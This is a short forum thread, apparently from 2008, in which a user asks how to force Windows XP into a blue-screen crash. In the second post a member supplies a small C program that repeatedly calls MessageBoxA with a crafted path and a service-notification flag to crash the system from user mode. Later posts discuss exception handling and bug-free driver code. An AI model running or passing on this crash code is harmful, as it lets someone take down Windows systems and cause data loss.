BSOD state

Тема в разделе "WASM.ENGLISH", создана пользователем ipwn, 22 дек 2008.

  1. ipwn

    ipwn New Member

    Публикаций:
    0
    Регистрация:
    22 дек 2008
    Сообщения:
    35
    hi2all
    i want to know what is the easy way to lead my winxp to BSOD condition, a friend show me this source
    is this the best easy sollution?
    suggestions appreciated.
     
  2. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    only if this code executes in r0 and ds:0 points on invalid page. and if there are no any exception handlers that may process exception.

    for killing windows from usermode u can try smth like
    Код (Text):
    1. #include <Windows.h>
    2.  
    3. int APIENTRY WinMain(HINSTANCE hInstance,
    4. HINSTANCE hPrevInstance,
    5. LPSTR lpCmdLine,
    6. int nCmdShow)
    7. {
    8. char bug [] = "\\??\\C:\\";
    9. for(int i = 0; i < 10; i ++)::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);
    10. return 0;
    11. }
     
  3. ipwn

    ipwn New Member

    Публикаций:
    0
    Регистрация:
    22 дек 2008
    Сообщения:
    35
    Freeman
    nice stuff, just another question
    what protection mechanism does drivers implement to avoid situations like BSOD and crashs?
     
  4. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    SEH i think...
     
  5. Dian

    Dian Member

    Публикаций:
    0
    Регистрация:
    19 июн 2008
    Сообщения:
    222
    Surely the best way is bug-free code
     
  6. ipwn

    ipwn New Member

    Публикаций:
    0
    Регистрация:
    22 дек 2008
    Сообщения:
    35
    of course this is a deduction, i was only asking in what consists bug-free code, the technical details to implement security mechanisms.
     
  7. Dian

    Dian Member

    Публикаций:
    0
    Регистрация:
    19 июн 2008
    Сообщения:
    222
    In ideal there should be not way to lead system to BSOD. BSOD state indicates serious problem in kernel mode. So all BSOD's are only from bugs :)
    To avoid BSODs - general QA advices as testing and etc, avoiding common errors (buffer overrun, insufficient parameter checks, ...). Code can be wrapped into exception handlers - this also can help
     
  8. ipwn

    ipwn New Member

    Публикаций:
    0
    Регистрация:
    22 дек 2008
    Сообщения:
    35
    also, it is possible to give a little explanation in what differs the implementation of drivers in *nix and win32? thanks